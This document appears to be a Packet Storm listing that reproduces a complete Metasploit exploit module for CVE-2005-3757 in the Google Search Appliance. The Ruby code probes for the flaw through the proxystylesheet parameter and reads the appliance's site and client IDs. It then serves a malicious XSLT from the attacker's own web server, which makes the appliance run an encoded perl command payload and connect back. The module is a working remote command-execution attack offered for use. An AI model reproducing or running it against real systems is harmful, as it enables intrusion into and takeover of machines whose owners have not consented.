Google Appliance ProxyStyleSheet Command Execution

2009-10-30T00:00:00
ID PACKETSTORM:82357
Type packetstorm
Reporter H D Moore
Modified 2009-10-30T00:00:00

Description

                                        
                                            `##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Google Appliance ProxyStyleSheet Command Execution',  
'Description' => %q{  
This module exploits a feature in the Saxon XSLT parser used by  
the Google Search Appliance. This feature allows for arbitrary  
java methods to be called. Google released a patch and advisory to   
their client base in August of 2005 (GA-2005-08-m). The target appliance  
must be able to connect back to your machine for this exploit to work.   
},  
'Author' => [ 'hdm' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
['CVE', '2005-3757'],  
['OSVDB', '20981'],  
['BID', '15509'],  
],  
'Privileged' => false,  
'Payload' =>  
{  
'DisableNops' => true,  
'Space' => 4000,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic perl bash telnet netcat-e',  
}  
},   
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Targets' => [[ 'Automatic', { }]],  
'DisclosureDate' => 'Aug 16 2005',  
'Stance' => Msf::Exploit::Stance::Aggressive,  
'DefaultTarget' => 0))  
end  
  
# Handle incoming requests from the appliance  
def on_request_uri(cli, request)  
  
print_status("Handling new incoming HTTP request...")  
  
path = File.join(Msf::Config.install_root, "data", "exploits", "google_proxystylesheet.xml")  
  
fd = File.open(path, "r")  
data = fd.read  
fd.close  
  
exec_str = '/usr/bin/perl -e system(pack(qq{H*},qq{' + payload.encoded.unpack("H*")[0] + '}))'  
data.gsub!(/:x:MSF:x:/, exec_str)  
send_response(cli, data)  
end  
  
def check  
res = send_request_cgi({  
'uri' => '/search',  
'vars_get' =>   
{  
'client' => rand_text_alpha(rand(15)+1),  
'site' => rand_text_alpha(rand(15)+1),  
'output' => 'xml_no_dtd',  
'q' => rand_text_alpha(rand(15)+1),  
'proxystylesheet' => 'http://' + rand_text_alpha(rand(15)+1) + '/'  
}  
}, 10)  
  
if (res and res.body =~ /cannot be resolved to an ip address/)  
print_status("This system appears to be vulnerable")  
return Exploit::CheckCode::Vulnerable  
end  
  
if (res and res.body =~ /ERROR: Unable to fetch the stylesheet/)  
print_status("This system appears to be patched")  
end  
  
print_status("This system is not exploitable")  
return Exploit::CheckCode::Safe  
end  
  
  
def exploit  
  
print_status("Obtaining the appliance site and client IDs...")  
# Send a HTTP/1.0 request to learn the site configuration  
res = send_request_raw({  
'uri' => '/',  
'version' => '1.0'  
}, 10)  
  
if !(res and res['location'] and res['location'] =~ /site=/)  
print_status("Could not read the location header: #{res.code} #{res.message}")  
return  
end  
  
m = res['location'].match(/site=([^\&]+)\&.*client=([^\&]+)\&/im)  
if !(m and m[1] and m[2])  
print_status("Invalid location header: #{res['location']}")  
return   
end  
  
print_status("Starting up our web service on http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{resource_uri}...")  
start_service  
  
print_status("Requesting a search using our custom XSLT...")  
res = send_request_cgi({  
'uri' => '/search',  
'vars_get' =>   
{  
'client' => m[2],  
'site' => m[1],  
'output' => 'xml_no_dtd',  
'q' => rand_text_alpha(rand(15)+1),  
'proxystylesheet' => "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{resource_uri}/style.xml",  
'proxyreload' => '1'  
}  
}, 25)  
  
if (res)  
print_status("The server returned: #{res.code} #{res.message}")  
print_status("Waiting on the payload to execute...")  
sleep(20)  
else  
print_status("No response from the server")  
end  
  
print_status("Shutting down the web service...")  
stop_service  
end  
  
end  
  
`